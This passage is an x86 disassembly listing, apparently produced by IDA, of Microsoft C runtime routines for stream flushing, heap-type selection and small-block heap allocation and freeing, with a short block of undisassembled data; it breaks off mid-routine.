loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5E0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB5C8 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5E0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2670C94h cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26C05C3h test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 28A0000h test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2660000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 492217E8h dd 0A3C08502h, 4DC944h, 93E83674h, 83FFFFFEh, 48A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C94435FFh, 42E8004Dh dd 9002482Fh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC944h dd 21BEE890h, 0C0850238h, 4DC93CA3h, 0C3017500h, 4244C8Bh dd 0C9342583h, 8300004Dh, 4DC93825h, 16A0000h, 4DC930A3h dd 400D8900h, 0C7004DC9h, 4DC92805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC938 lea ecx, [eax+eax*4] mov eax, dword_4DC93C lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC934 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC92C mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC92C mov eax, dword_4DC934 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC934 mov ecx, dword_4DC92C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC934 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC934 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC934 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC934 push dword ptr [eax+10h] push 0 push dword_4DC944 nop call near ptr 2790000h mov eax, dword_4DC938 mov edx, dword_4DC93C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC934 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC938 cmp eax, dword_4DC934 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC93C mov dword_4DC930, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC92C, edi mov dword_4DC934, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC938 mov edx, dword_4DC93C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC930 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC930, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC934 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC92C jnz short loc_41E4C7 and dword_4DC934, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC938 mov ecx, dword_4DC928 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC93C push edi push dword_4DC944 call near ptr 2850000h nop cmp eax, edi jz short loc_41E567 add dword_4DC928, 10h mov dword_4DC93C, eax mov eax, dword_4DC938 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC93C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC944 lea esi, [ecx+eax*4] nop call near ptr 27A0000h cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 28B06D6h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC944 call near ptr 2790000h nop loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC938 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 28B06D6h test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 